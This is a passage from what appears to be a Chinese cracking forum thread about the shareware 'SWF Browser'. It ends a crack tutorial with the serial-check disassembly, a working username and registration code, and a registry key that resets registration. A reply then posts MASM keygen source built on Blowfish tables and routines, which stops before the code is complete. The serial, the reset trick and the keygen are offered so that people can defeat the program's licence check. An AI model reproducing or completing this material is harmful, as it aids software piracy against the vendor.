004A98AF . E8 B0A6F5FF CALL SWFBrows.00403F64 // 真假注册码比对 (这种比较方法算是比较常见的那种了)
004A98B4 . 75 04 JNZ SHORT SWFBrows.004A98BA
004A98B6 . B3 01 MOV BL,1
004A98B8 . EB 02 JMP SHORT SWFBrows.004A98BC

整理: 用户名CoolWolF[SCD] 注册码DD5C4800
如果想再来一次,就删除注册表的[HKEY_CURRENT_USER\Software\Grooveware Multimedia\SWF Browser\Registration]键

完
=================================================================================

哪位老大能贴一下它的注册机?我对BlowFish算法实在头疼.

标 题:以前写的代码了，不知道还顶不顶用………… (32千字)
发信人:夜月
时 间:2002-1-13 10:32:48
详细信息:

;核心代码都是抄的BlowFish老大的，嘿嘿…………
;**********************************************************************
; 注册机Asm文件
;**********************************************************************
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
include comctl32.inc
include comdlg32.inc
include masm32.inc

includelib masm32.lib
includelib user32.lib
includelib kernel32.lib
includelib comctl32.lib
includelib comdlg32.lib

DLG_MAIN equ 100
IDGEN equ 10
Edit1 equ 11
Edit2 equ 12
BFLEFT EQU BFHIGH
BFRIGHT EQU BFLOW
IDABOUT EQU 13
STATIC1 equ 14
STATIC2 equ 15
STATIC3 equ 16
IDI_ICO equ 101

_ProcDlgMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
BlowFish_En PROTO :DWORD,:DWORD
BlowFish_Fun PROTO :DWORD
BlowFish_Init PROTO :DWORD,:DWORD

.data?
hInstance dd ?

.data
PW_1 db "1232hfbsdjdh2834121"
PW_2 db "ewrwk214134g7df2"
STRABOUT1 DB "任何问题，提议，请联系",0
STRABOUT2 DB "firingme@sina.com",0
STRDEF1 DB "仅以此献给我们可爱的CCG",0
STRDEF2 DB " 祝愿它蒸蒸日上！",0
data1 db 1000 dup (0)
data2 db 1000 dup (0)
data3 db 1000 dup (0)
szOK DB "OK",0
szABOUT DB "ABOUT",0
szID DB 10 DUP(0)
NAMEERR DB "名字长度不能小于4",0
MAGICLEN DD 0
szName db 100 dup (0)
key dd 1058 dup (0)
Namelen3 dd 0
BFLOW dd 0
BFHIGH dd 0
MYBFLOW DD 0
MYBFHIGH DD 0
SN DD 0
LASTSN DB 10 DUP(0)
Namelen dd 0
Namelen2 dd 0
Snlen dd 0
Snlen2 dd 0
Snlen3 dd 0
TABLE1 DB 02BH,02DH,030H,031H,032H,033H,034H,035H,036H,037H,038H,039H,041H,042H,043H,044H
DB 045H,046H,047H,048H,049H,04AH,04BH,04CH,04DH,04EH,04FH,050H,051H,052H,053H,054H
DB 055H,056H,057H,058H,059H,05AH,061H,062H,063H,064H,065H,066H,067H,068H,069H,06AH
DB 06BH,06CH,06DH,06EH,06FH,070H,071H,072H,073H,074H,075H,076H,077H,078H,079H,07AH
DB 000H,000H,000H,000H,096H,030H,007H,077H,02CH,061H,00EH,0EEH,0BAH,051H,009H,099H
DB 019H,0C4H,06DH,007H,08FH,0F4H,06AH,070H,035H,0A5H,063H,0E9H,0A3H,095H,064H,09EH
DB 032H,088H,0DBH,00EH,0A4H,0B8H,0DCH,079H,01EH,0E9H,0D5H,0E0H,088H,0D9H,0D2H,097H
DB 02BH,04CH,0B6H,009H,0BDH,07CH,0B1H,07EH,007H,02DH,0B8H,0E7H,091H,01DH,0BFH,090H
DB 064H,010H,0B7H,01DH,0F2H,020H,0B0H,06AH,048H,071H,0B9H,0F3H,0DEH,041H,0BEH,084H
DB 07DH,0D4H,0DAH,01AH,0EBH,0E4H,0DDH,06DH,051H,0B5H,0D4H,0F4H,0C7H,085H,0D3H,083H
DB 056H,098H,06CH,013H,0C0H,0A8H,06BH,064H,07AH,0F9H,062H,0FDH,0ECH,0C9H,065H,08AH
DB 04FH,05CH,001H,014H,0D9H,06CH,006H,063H,063H,03DH,00FH,0FAH,0F5H,00DH,008H,08DH
DB 0C8H,020H,06EH,03BH,05EH,010H,069H,04CH,0E4H,041H,060H,0D5H,072H,071H,067H,0A2H
DB 0D1H,0E4H,003H,03CH,047H,0D4H,004H,04BH,0FDH,085H,00DH,0D2H,06BH,0B5H,00AH,0A5H
DB 0FAH,0A8H,0B5H,035H,06CH,098H,0B2H,042H,0D6H,0C9H,0BBH,0DBH,040H,0F9H,0BCH,0ACH
DB 0E3H,06CH,0D8H,032H,075H,05CH,0DFH,045H,0CFH,00DH,0D6H,0DCH,059H,03DH,0D1H,0ABH
TABLE2 DD 000000000H,077073096H,0EE0E612CH,0990951BAH,0076DC419H,0706AF48FH,0E963A535H,09E6495A3H
DD 00EDB8832H,079DCB8A4H,0E0D5E91EH,097D2D988H,009B64C2BH,07EB17CBDH,0E7B82D07H,090BF1D91H
DD 01DB71064H,06AB020F2H,0F3B97148H,084BE41DEH,01ADAD47DH,06DDDE4EBH,0F4D4B551H,083D385C7H
DD 0136C9856H,0646BA8C0H,0FD62F97AH,08A65C9ECH,014015C4FH,063066CD9H,0FA0F3D63H,08D080DF5H
DD 03B6E20C8H,04C69105EH,0D56041E4H,0A2677172H,03C03E4D1H,04B04D447H,0D20D85FDH,0A50AB56BH
DD 035B5A8FAH,042B2986CH,0DBBBC9D6H,0ACBCF940H,032D86CE3H,045DF5C75H,0DCD60DCFH,0ABD13D59H
DD 026D930ACH,051DE003AH,0C8D75180H,0BFD06116H,021B4F4B5H,056B3C423H,0CFBA9599H,0B8BDA50FH
DD 02802B89EH,05F058808H,0C60CD9B2H,0B10BE924H,02F6F7C87H,058684C11H,0C1611DABH,0B6662D3DH
DD 076DC4190H,001DB7106H,098D220BCH,0EFD5102AH,071B18589H,006B6B51FH,09FBFE4A5H,0E8B8D433H
DD 07807C9A2H,00F00F934H,09609A88EH,0E10E9818H,07F6A0DBBH,0086D3D2DH,091646C97H,0E6635C01H
DD 06B6B51F4H,01C6C6162H,0856530D8H,0F262004EH,06C0695EDH,01B01A57BH,08208F4C1H,0F50FC457H
DD 065B0D9C6H,012B7E950H,08BBEB8EAH,0FCB9887CH,062DD1DDFH,015DA2D49H,08CD37CF3H,0FBD44C65H
DD 04DB26158H,03AB551CEH,0A3BC0074H,0D4BB30E2H,04ADFA541H,03DD895D7H,0A4D1C46DH,0D3D6F4FBH
DD 04369E96AH,0346ED9FCH,0AD678846H,0DA60B8D0H,044042D73H,033031DE5H,0AA0A4C5FH,0DD0D7CC9H
DD 05005713CH,0270241AAH,0BE0B1010H,0C90C2086H,05768B525H,0206F85B3H,0B966D409H,0CE61E49FH
DD 05EDEF90EH,029D9C998H,0B0D09822H,0C7D7A8B4H,059B33D17H,02EB40D81H,0B7BD5C3BH,0C0BA6CADH
DD 0EDB88320H,09ABFB3B6H,003B6E20CH,074B1D29AH,0EAD54739H,09DD277AFH,004DB2615H,073DC1683H
DD 0E3630B12H,094643B84H,00D6D6A3EH,07A6A5AA8H,0E40ECF0BH,09309FF9DH,00A00AE27H,07D079EB1H
DD 0F00F9344H,08708A3D2H,01E01F268H,06906C2FEH,0F762575DH,0806567CBH,0196C3671H,06E6B06E7H
DD 0FED41B76H,089D32BE0H,010DA7A5AH,067DD4ACCH,0F9B9DF6FH,08EBEEFF9H,017B7BE43H,060B08ED5H
DD 0D6D6A3E8H,0A1D1937EH,038D8C2C4H,04FDFF252H,0D1BB67F1H,0A6BC5767H,03FB506DDH,048B2364BH
DD 0D80D2BDAH,0AF0A1B4CH,036034AF6H,041047A60H,0DF60EFC3H,0A867DF55H,0316E8EEFH,04669BE79H
DD 0CB61B38CH,0BC66831AH,0256FD2A0H,05268E236H,0CC0C7795H,0BB0B4703H,0220216B9H,05505262FH
DD 0C5BA3BBEH,0B2BD0B28H,02BB45A92H,05CB36A04H,0C2D7FFA7H,0B5D0CF31H,02CD99E8BH,05BDEAE1DH
DD 09B64C2B0H,0EC63F226H,0756AA39CH,0026D930AH,09C0906A9H,0EB0E363FH,072076785H,005005713H
DD 095BF4A82H,0E2B87A14H,07BB12BAEH,00CB61B38H,092D28E9BH,0E5D5BE0DH,07CDCEFB7H,00BDBDF21H
DD 086D3D2D4H,0F1D4E242H,068DDB3F8H,01FDA836EH,081BE16CDH,0F6B9265BH,06FB077E1H,018B74777H
DD 088085AE6H,0FF0F6A70H,066063BCAH,011010B5CH,08F659EFFH,0F862AE69H,0616BFFD3H,0166CCF45H
DD 0A00AE278H,0D70DD2EEH,04E048354H,03903B3C2H,0A7672661H,0D06016F7H,04969474DH,03E6E77DBH
DD 0AED16A4AH,0D9D65ADCH,040DF0B66H,037D83BF0H,0A9BCAE53H,0DEBB9EC5H,047B2CF7FH,030B5FFE9H
DD 0BDBDF21CH,0CABAC28AH,053B39330H,024B4A3A6H,0BAD03605H,0CDD70693H,054DE5729H,023D967BFH
DD 0B3667A2EH,0C4614AB8H,05D681B02H,02A6F2B94H,0B40BBE37H,0C30C8EA1H,05A05DF1BH,02D02EF8DH

pbox dd 0243f6a88h, 085a308d3h, 013198a2eh, 003707344h, 0a4093822h, 0299f31d0h
dd 0082efa98h, 0ec4e6c89h, 0452821e6h, 038d01377h, 0be5466cfh, 034e90c6ch
dd 0c0ac29b7h, 0c97c50ddh, 03f84d5b5h, 0b5470917h, 09216d5d9h, 08979fb1bh

sbox1 dd 0d1310ba6h, 098dfb5ach, 02ffd72dbh, 0d01adfb7h, 0b8e1afedh, 06a267e96h
dd 0ba7c9045h, 0f12c7f99h, 024a19947h, 0b3916cf7h, 00801f2e2h, 0858efc16h
dd 0636920d8h, 071574e69h, 0a458fea3h, 0f4933d7eh, 00d95748fh, 0728eb658h
dd 0718bcd58h, 082154aeeh, 07b54a41dh, 0c25a59b5h, 09c30d539h, 02af26013h
dd 0c5d1b023h, 0286085f0h, 0ca417918h, 0b8db38efh, 08e79dcb0h, 0603a180eh
dd 06c9e0e8bh, 0b01e8a3eh, 0d71577c1h, 0bd314b27h, 078af2fdah, 055605c60h
dd 0e65525f3h, 0aa55ab94h, 057489862h, 063e81440h, 055ca396ah, 02aab10b6h
dd 0b4cc5c34h, 01141e8ceh, 0a15486afh, 07c72e993h, 0b3ee1411h, 0636fbc2ah
dd 02ba9c55dh, 0741831f6h, 0ce5c3e16h, 09b87931eh, 0afd6ba33h, 06c24cf5ch
dd 07a325381h, 028958677h, 03b8f4898h, 06b4bb9afh, 0c4bfe81bh, 066282193h
dd 061d809cch, 0fb21a991h, 0487cac60h, 05dec8032h, 0ef845d5dh, 0e98575b1h
dd 0dc262302h, 0eb651b88h, 023893e81h, 0d396acc5h, 00f6d6ff3h, 083f44239h
dd 02e0b4482h, 0a4842004h, 069c8f04ah, 09e1f9b5eh, 021c66842h, 0f6e96c9ah
dd 0670c9c61h, 0abd388f0h, 06a51a0d2h, 0d8542f68h, 0960fa728h, 0ab5133a3h
dd 06eef0b6ch, 0137a3be4h, 0ba3bf050h, 07efb2a98h, 0a1f1651dh, 039af0176h
dd 066ca593eh, 082430e88h, 08cee8619h, 0456f9fb4h, 07d84a5c3h, 03b8b5ebeh
dd 0e06f75d8h, 085c12073h, 0401a449fh, 056c16aa6h, 04ed3aa62h, 0363f7706h
dd 01bfedf72h, 0429b023dh, 037d0d724h, 0d00a1248h, 0db0fead3h, 049f1c09bh
dd 0075372c9h, 080991b7bh, 025d479d8h, 0f6e8def7h, 0e3fe501ah, 0b6794c3bh
dd 0976ce0bdh, 004c006bah, 0c1a94fb6h, 0409f60c4h, 05e5c9ec2h, 0196a2463h
dd 068fb6fafh, 03e6c53b5h, 01339b2ebh, 03b52ec6fh, 06dfc511fh, 09b30952ch
dd 0cc814544h, 0af5ebd09h, 0bee3d004h, 0de334afdh, 0660f2807h, 0192e4bb3h
dd 0c0cba857h, 045c8740fh, 0d20b5f39h, 0b9d3fbdbh, 05579c0bdh, 01a60320ah
dd 0d6a100c6h, 0402c7279h, 0679f25feh, 0fb1fa3cch, 08ea5e9f8h, 0db3222f8h
dd 03c7516dfh, 0fd616b15h, 02f501ec8h, 0ad0552abh, 0323db5fah, 0fd238760h
dd 053317b48h, 03e00df82h, 09e5c57bbh, 0ca6f8ca0h, 01a87562eh, 0df1769dbh
dd 0d542a8f6h, 0287effc3h, 0ac6732c6h, 08c4f5573h, 0695b27b0h, 0bbca58c8h
dd 0e1ffa35dh, 0b8f011a0h, 010fa3d98h, 0fd2183b8h, 04afcb56ch, 02dd1d35bh
dd 09a53e479h, 0b6f84565h, 0d28e49bch, 04bfb9790h, 0e1ddf2dah, 0a4cb7e33h
dd 062fb1341h, 0cee4c6e8h, 0ef20cadah, 036774c01h, 0d07e9efeh, 02bf11fb4h
dd 095dbda4dh, 0ae909198h, 0eaad8e71h, 06b93d5a0h, 0d08ed1d0h, 0afc725e0h
dd 08e3c5b2fh, 08e7594b7h, 08ff6e2fbh, 0f2122b64h, 08888b812h, 0900df01ch
dd 04fad5ea0h, 0688fc31ch, 0d1cff191h, 0b3a8c1adh, 02f2f2218h, 0be0e1777h
dd 0ea752dfeh, 08b021fa1h, 0e5a0cc0fh, 0b56f74e8h, 018acf3d6h, 0ce89e299h
dd 0b4a84fe0h, 0fd13e0b7h, 07cc43b81h, 0d2ada8d9h, 0165fa266h, 080957705h
dd 093cc7314h, 0211a1477h, 0e6ad2065h, 077b5fa86h, 0c75442f5h, 0fb9d35cfh
dd 0ebcdaf0ch, 07b3e89a0h, 0d6411bd3h, 0ae1e7e49h, 000250e2dh, 02071b35eh
dd 0226800bbh, 057b8e0afh, 02464369bh, 0f009b91eh, 05563911dh, 059dfa6aah
dd 078c14389h, 0d95a537fh, 0207d5ba2h, 002e5b9c5h, 083260376h, 06295cfa9h
dd 011c81968h, 04e734a41h, 0b3472dcah, 07b14a94ah, 01b510052h, 09a532915h
dd 0d60f573fh, 0bc9bc6e4h, 02b60a476h, 081e67400h, 008ba6fb5h, 0571be91fh
dd 0f296ec6bh, 02a0dd915h, 0b6636521h, 0e7b9f9b6h, 0ff34052eh, 0c5855664h
dd 053b02d5dh, 0a99f8fa1h, 008ba4799h, 06e85076ah

sbox2 dd 04b7a70e9h, 0b5b32944h
dd 0db75092eh, 0c4192623h, 0ad6ea6b0h, 049a7df7dh, 09cee60b8h, 08fedb266h
dd 0ecaa8c71h, 0699a17ffh, 05664526ch, 0c2b19ee1h, 0193602a5h, 075094c29h
dd 0a0591340h, 0e4183a3eh, 03f54989ah, 05b429d65h, 06b8fe4d6h, 099f73fd6h
dd 0a1d29c07h, 0efe830f5h, 04d2d38e6h, 0f0255dc1h, 04cdd2086h, 08470eb26h
dd 06382e9c6h, 0021ecc5eh, 009686b3fh, 03ebaefc9h, 03c971814h, 06b6a70a1h
dd 0687f3584h, 052a0e286h, 0b79c5305h, 0aa500737h, 03e07841ch, 07fdeae5ch
dd 08e7d44ech, 05716f2b8h, 0b03ada37h, 0f0500c0dh, 0f01c1f04h, 00200b3ffh
dd 0ae0cf51ah, 03cb574b2h, 025837a58h, 0dc0921bdh, 0d19113f9h, 07ca92ff6h
dd 094324773h, 022f54701h, 03ae5e581h, 037c2dadch, 0c8b57634h, 09af3dda7h
dd 0a9446146h, 00fd0030eh, 0ecc8c73eh, 0a4751e41h, 0e238cd99h, 03bea0e2fh
dd 03280bba1h, 0183eb331h, 04e548b38h, 04f6db908h, 06f420d03h, 0f60a04bfh
dd 02cb81290h, 024977c79h, 05679b072h, 0bcaf89afh, 0de9a771fh, 0d9930810h
dd 0b38bae12h, 0dccf3f2eh, 05512721fh, 02e6b7124h, 0501adde6h, 09f84cd87h
dd 07a584718h, 07408da17h, 0bc9f9abch, 0e94b7d8ch, 0ec7aec3ah, 0db851dfah
dd 063094366h, 0c464c3d2h, 0ef1c1847h, 03215d908h, 0dd433b37h, 024c2ba16h
dd 012a14d43h, 02a65c451h, 050940002h, 0133ae4ddh, 071dff89eh, 010314e55h
dd 081ac77d6h, 05f11199bh, 0043556f1h, 0d7a3c76bh, 03c11183bh, 05924a509h
dd 0f28fe6edh, 097f1fbfah, 09ebabf2ch, 01e153c6eh, 086e34570h, 0eae96fb1h
dd 0860e5e0ah, 05a3e2ab3h, 0771fe71ch, 04e3d06fah, 02965dcb9h, 099e71d0fh
dd 0803e89d6h, 05266c825h, 02e4cc978h, 09c10b36ah, 0c6150ebah, 094e2ea78h
dd 0a5fc3c53h, 01e0a2df4h, 0f2f74ea7h, 0361d2b3dh, 01939260fh, 019c27960h
dd 05223a708h, 0f71312b6h, 0ebadfe6eh, 0eac31f66h, 0e3bc4595h, 0a67bc883h
dd 0b17f37d1h, 0018cff28h, 0c332ddefh, 0be6c5aa5h, 065582185h, 068ab9802h
dd 0eecea50fh, 0db2f953bh, 02aef7dadh, 05b6e2f84h, 01521b628h, 029076170h
dd 0ecdd4775h, 0619f1510h, 013cca830h, 0eb61bd96h, 00334fe1eh, 0aa0363cfh
dd 0b5735c90h, 04c70a239h, 0d59e9e0bh, 0cbaade14h, 0eecc86bch, 060622ca7h
dd 09cab5cabh, 0b2f3846eh, 0648b1eafh, 019bdf0cah, 0a02369b9h, 0655abb50h
dd 040685a32h, 03c2ab4b3h, 0319ee9d5h, 0c021b8f7h, 09b540b19h, 0875fa099h
dd 095f7997eh, 0623d7da8h, 0f837889ah, 097e32d77h, 011ed935fh, 016681281h
dd 00e358829h, 0c7e61fd6h, 096dedfa1h, 07858ba99h, 057f584a5h, 01b227263h
dd 09b83c3ffh, 01ac24696h, 0cdb30aebh, 0532e3054h, 08fd948e4h, 06dbc3128h
dd 058ebf2efh, 034c6ffeah, 0fe28ed61h, 0ee7c3c73h, 05d4a14d9h, 0e864b7e3h
dd 042105d14h, 0203e13e0h, 045eee2b6h, 0a3aaabeah, 0db6c4f15h, 0facb4fd0h
dd 0c742f442h, 0ef6abbb5h, 0654f3b1dh, 041cd2105h, 0d81e799eh, 086854dc7h
dd 0e44b476ah, 03d816250h, 0cf62a1f2h, 05b8d2646h, 0fc8883a0h, 0c1c7b6a3h
dd 07f1524c3h, 069cb7492h, 047848a0bh, 05692b285h, 0095bbf00h, 0ad19489dh
dd 01462b174h, 023820e00h, 058428d2ah, 00c55f5eah, 01dadf43eh, 0233f7061h
dd 03372f092h, 08d937e41h, 0d65fecf1h, 06c223bdbh, 07cde3759h, 0cbee7460h
dd 04085f2a7h, 0ce77326eh, 0a6078084h, 019f8509eh, 0e8efd855h, 061d99735h
dd 0a969a7aah, 0c50c06c2h, 05a04abfch, 0800bcadch, 09e447a2eh, 0c3453484h
dd 0fdd56705h, 00e1e9ec9h, 0db73dbd3h, 0105588cdh, 0675fda79h, 0e3674340h
dd 0c5c43465h, 0713e38d8h, 03d28f89eh, 0f16dff20h, 0153e21e7h, 08fb03d4ah
dd 0e6e39f2bh, 0db83adf7h

sbox3 dd 0e93d5a68h, 0948140f7h, 0f64c261ch, 094692934h
dd 0411520f7h, 07602d4f7h, 0bcf46b2eh, 0d4a20068h, 0d4082471h, 03320f46ah
dd 043b7d4b7h, 0500061afh, 01e39f62eh, 097244546h, 014214f74h, 0bf8b8840h
dd 04d95fc1dh, 096b591afh, 070f4ddd3h, 066a02f45h, 0bfbc09ech, 003bd9785h
dd 07fac6dd0h, 031cb8504h, 096eb27b3h, 055fd3941h, 0da2547e6h, 0abca0a9ah
dd 028507825h, 0530429f4h, 00a2c86dah, 0e9b66dfbh, 068dc1462h, 0d7486900h
dd 0680ec0a4h, 027a18deeh, 04f3ffea2h, 0e887ad8ch, 0b58ce006h, 07af4d6b6h
dd 0aace1e7ch, 0d3375fech, 0ce78a399h, 0406b2a42h, 020fe9e35h, 0d9f385b9h
dd 0ee39d7abh, 03b124e8bh, 01dc9faf7h, 04b6d1856h, 026a36631h, 0eae397b2h
dd 03a6efa74h, 0dd5b4332h, 06841e7f7h, 0ca7820fbh, 0fb0af54eh, 0d8feb397h
dd 0454056ach, 0ba489527h, 055533a3ah, 020838d87h, 0fe6ba9b7h, 0d096954bh
dd 055a867bch, 0a1159a58h, 0cca92963h, 099e1db33h, 0a62a4a56h, 03f3125f9h
dd 05ef47e1ch, 09029317ch, 0fdf8e802h, 004272f70h, 080bb155ch, 005282ce3h
dd 095c11548h, 0e4c66d22h, 048c1133fh, 0c70f86dch, 007f9c9eeh, 041041f0fh
dd 0404779a4h, 05d886e17h, 0325f51ebh, 0d59bc0d1h, 0f2bcc18fh, 041113564h
dd 0257b7834h, 0602a9c60h, 0dff8e8a3h, 01f636c1bh, 00e12b4c2h, 002e1329eh
dd 0af664fd1h, 0cad18115h, 06b2395e0h, 0333e92e1h, 03b240b62h, 0eebeb922h
dd 085b2a20eh, 0e6ba0d99h, 0de720c8ch, 02da2f728h, 0d0127845h, 095b794fdh
dd 0647d0862h, 0e7ccf5f0h, 05449a36fh, 0877d48fah, 0c39dfd27h, 0f33e8d1eh
dd 00a476341h, 0992eff74h, 03a6f6eabh, 0f4f8fd37h, 0a812dc60h, 0a1ebddf8h
dd 0991be14ch, 0db6e6b0dh, 0c67b5510h, 06d672c37h, 02765d43bh, 0dcd0e804h
dd 0f1290dc7h, 0cc00ffa3h, 0b5390f92h, 0690fed0bh, 0667b9ffbh, 0cedb7d9ch
dd 0a091cf0bh, 0d9155ea3h, 0bb132f88h, 0515bad24h, 07b9479bfh, 0763bd6ebh
dd 037392eb3h, 0cc115979h, 08026e297h, 0f42e312dh, 06842ada7h, 0c66a2b3bh
dd 012754ccch, 0782ef11ch, 06a124237h, 0b79251e7h, 006a1bbe6h, 04bfb6350h
dd 01a6b1018h, 011caedfah, 03d25bdd8h, 0e2e1c3c9h, 044421659h, 00a121386h
dd 0d90cec6eh, 0d5abea2ah, 064af674eh, 0da86a85fh, 0bebfe988h, 064e4c3feh
dd 09dbc8057h, 0f0f7c086h, 060787bf8h, 06003604dh, 0d1fd8346h, 0f6381fb0h
dd 07745ae04h, 0d736fccch, 083426b33h, 0f01eab71h, 0b0804187h, 03c005e5fh
dd 077a057beh, 0bde8ae24h, 055464299h, 0bf582e61h, 04e58f48fh, 0f2ddfda2h
dd 0f474ef38h, 08789bdc2h, 05366f9c3h, 0c8b38e74h, 0b475f255h, 046fcd9b9h
dd 07aeb2661h, 08b1ddf84h, 0846a0e79h, 0915f95e2h, 0466e598eh, 020b45770h
dd 08cd55591h, 0c902de4ch, 0b90bace1h, 0bb8205d0h, 011a86248h, 07574a99eh
dd 0b77f19b6h, 0e0a9dc09h, 0662d09a1h, 0c4324633h, 0e85a1f02h, 009f0be8ch
dd 04a99a025h, 01d6efe10h, 01ab93d1dh, 00ba5a4dfh, 0a186f20fh, 02868f169h
dd 0dcb7da83h, 0573906feh, 0a1e2ce9bh, 04fcd7f52h, 050115e01h, 0a70683fah
dd 0a002b5c4h, 00de6d027h, 09af88c27h, 0773f8641h, 0c3604c06h, 061a806b5h
dd 0f0177a28h, 0c0f586e0h, 0006058aah, 030dc7d62h, 011e69ed7h, 02338ea63h
dd 053c2dd94h, 0c2c21634h, 0bbcbee56h, 090bcb6deh, 0ebfc7da1h, 0ce591d76h
dd 06f05e409h, 04b7c0188h, 039720a3dh, 07c927c24h, 086e3725fh, 0724d9db9h
dd 01ac15bb4h, 0d39eb8fch, 0ed545578h, 008fca5b5h, 0d83d7cd3h, 04dad0fc4h
dd 01e50ef5eh, 0b161e6f8h, 0a28514d9h, 06c51133ch, 06fd5c7e7h, 056e14ec4h
dd 0362abfceh, 0ddc6c837h, 0d79a3234h, 092638212h, 0670efa8eh, 0406000e0h

sbox4 dd 03a39ce37h, 0d3faf5cfh, 0abc27737h, 05ac52d1bh, 05cb0679eh, 04fa33742h
dd 0d3822740h, 099bc9bbeh, 0d5118e9dh, 0bf0f7315h, 0d62d1c7eh, 0c700c47bh
dd 0b78c1b6bh, 021a19045h, 0b26eb1beh, 06a366eb4h, 05748ab2fh, 0bc946e79h
dd 0c6a376d2h, 06549c2c8h, 0530ff8eeh, 0468dde7dh, 0d5730a1dh, 04cd04dc6h
dd 02939bbdbh, 0a9ba4650h, 0ac9526e8h, 0be5ee304h, 0a1fad5f0h, 06a2d519ah
dd 063ef8ce2h, 09a86ee22h, 0c089c2b8h, 043242ef6h, 0a51e03aah, 09cf2d0a4h
dd 083c061bah, 09be96a4dh, 08fe51550h, 0ba645bd6h, 02826a2f9h, 0a73a3ae1h
dd 04ba99586h, 0ef5562e9h, 0c72fefd3h, 0f752f7dah, 03f046f69h, 077fa0a59h
dd 080e4a915h, 087b08601h, 09b09e6adh, 03b3ee593h, 0e990fd5ah, 09e34d797h
dd 02cf0b7d9h, 0022b8b51h, 096d5ac3ah, 0017da67dh, 0d1cf3ed6h, 07c7d2d28h
dd 01f9f25cfh, 0adf2b89bh, 05ad6b472h, 05a88f54ch, 0e029ac71h, 0e019a5e6h
dd 047b0acfdh, 0ed93fa9bh, 0e8d3c48dh, 0283b57cch, 0f8d56629h, 079132e28h
dd 0785f0191h, 0ed756055h, 0f7960e44h, 0e3d35e8ch, 015056dd4h, 088f46dbah
dd 003a16125h, 00564f0bdh, 0c3eb9e15h, 03c9057a2h, 097271aech, 0a93a072ah
dd 01b3f6d9bh, 01e6321f5h, 0f59c66fbh, 026dcf319h, 07533d928h, 0b155fdf5h
dd 003563482h, 08aba3cbbh, 028517711h, 0c20ad9f8h, 0abcc5167h, 0ccad925fh
dd 04de81751h, 03830dc8eh, 0379d5862h, 09320f991h, 0ea7a90c2h, 0fb3e7bceh
dd 05121ce64h, 0774fbe32h, 0a8b6e37eh, 0c3293d46h, 048de5369h, 06413e680h
dd 0a2ae0810h, 0dd6db224h, 069852dfdh, 009072166h, 0b39a460ah, 06445c0ddh
dd 0586cdecfh, 01c20c8aeh, 05bbef7ddh, 01b588d40h, 0ccd2017fh, 06bb4e3bbh
dd 0dda26a7eh, 03a59ff45h, 03e350a44h, 0bcb4cdd5h, 072eacea8h, 0fa6484bbh
dd 08d6612aeh, 0bf3c6f47h, 0d29be463h, 0542f5d9eh, 0aec2771bh, 0f64e6370h
dd 0740e0d8dh, 0e75b1357h, 0f8721671h, 0af537d5dh, 04040cb08h, 04eb4e2cch
dd 034d2466ah, 00115af84h, 0e1b00428h, 095983a1dh, 006b89fb4h, 0ce6ea048h
dd 06f3f3b82h, 03520ab82h, 0011a1d4bh, 0277227f8h, 0611560b1h, 0e7933fdch
dd 0bb3a792bh, 0344525bdh, 0a08839e1h, 051ce794bh, 02f32c9b7h, 0a01fbac9h
dd 0e01cc87eh, 0bcc7d1f6h, 0cf0111c3h, 0a1e8aac7h, 01a908749h, 0d44fbd9ah
dd 0d0dadecbh, 0d50ada38h, 00339c32ah, 0c6913667h, 08df9317ch, 0e0b12b4fh
dd 0f79e59b7h, 043f5bb3ah, 0f2d519ffh, 027d9459ch, 0bf97222ch, 015e6fc2ah
dd 00f91fc71h, 09b941525h, 0fae59361h, 0ceb69cebh, 0c2a86459h, 012baa8d1h
dd 0b6c1075eh, 0e3056a0ch, 010d25065h, 0cb03a442h, 0e0ec6e0eh, 01698db3bh
dd 04c98a0beh, 03278e964h, 09f1f9532h, 0e0d392dfh, 0d3a0342bh, 08971f21eh
dd 01b0a7441h, 04ba3348ch, 0c5be7120h, 0c37632d8h, 0df359f8dh, 09b992f2eh
dd 0e60b6f47h, 00fe3f11dh, 0e54cda54h, 01edad891h, 0ce6279cfh, 0cd3e7e6fh
dd 01618b166h, 0fd2c1d05h, 0848fd2c5h, 0f6fb2299h, 0f523f357h, 0a6327623h
dd 093a83531h, 056cccd02h, 0acf08162h, 05a75ebb5h, 06e163697h, 088d273cch
dd 0de966292h, 081b949d0h, 04c50901bh, 071c65614h, 0e6c6c7bdh, 0327a140ah
dd 045e1d006h, 0c3f27b9ah, 0c9aa53fdh, 062a80f00h, 0bb25bfe2h, 035bdd2f6h
dd 071126905h, 0b2040222h, 0b6cbcf7ch, 0cd769c2bh, 053113ec0h, 01640e3d3h
dd 038abbd60h, 02547adf0h, 0ba38209ch, 0f746ce76h, 077afa1c5h, 020756060h
dd 085cbfe4eh, 08ae88dd8h, 07aaaf9b0h, 04cf9aa7eh, 01948c25ch, 002fb8a8ch
dd 001c36ae4h, 0d6ebe1f9h, 090d4f869h, 0a65cdea0h, 03f09252dh, 0c208e69fh
dd 0b74e6132h, 0ce77e25bh, 0578fdfe3h, 03ac372e6h

.code
;s盒变换函数
BlowFish_Fun proc uses ebx edi esi edx ecx,BfNum:DWORD
MOV ECX,BfNum
MOV AL,CL
AND EAX,0FFh
SHR ECX,08
MOV EDX,EAX
MOV AL,CL
MOV EDI,offset key
AND EAX,0FFh
SHR ECX,08
MOV ESI,EAX
MOV EAX,ECX
SHR EAX,08
AND EAX,0FFh
AND ECX,0FFh
AND ESI,0FFFFh
AND EDX,0FFFFh
MOV EAX,[EDI+EAX*4+48h]
MOV EBX,[EDI+ECX*4+0448h]
MOV ECX,[EDI+ESI*4+0848h]
ADD EAX,EBX
XOR EAX,ECX
MOV ECX,[EDI+EDX*4+0C48h]
ADD EAX,ECX
RET
BlowFish_Fun endp

;BlowFish加密算法函数
BlowFish_En proc uses ebx edi esi edx ecx,highbf:DWORD,lowbf:DWORD
LOCAL num :DWORD
MOV EAX,highbf
MOV ECX,lowbf
MOV EAX,[EAX]
MOV ESI,[ECX]
MOV EDI,offset key
MOV num,10h
MOV EBX,EDI
loc_40108E:
XOR EAX,[EBX]
MOV EDX,EAX
invoke BlowFish_Fun,EAX
MOV ECX,num
XOR EAX,ESI
ADD EBX,4
DEC ECX
MOV ESI,EDX
MOV num,ECX
JNZ loc_40108E

MOV ECX,[EDI+40h]
MOV EDX,[EDI+44h]
XOR ECX,EAX
XOR EDX,ESI

MOV [BFHIGH],EDX
MOV [BFLOW],ECX
RET
BlowFish_En endp

;BlowFish初始化函数
BlowFish_Init proc uses ebx edi esi edx ecx,PWD:DWORD,len_PWD:DWORD
LOCAL pbox_num18:DWORD
LOCAL pbox_num4 :DWORD
LOCAL snum :DWORD
;初始化s盒
MOV ESI,offset key
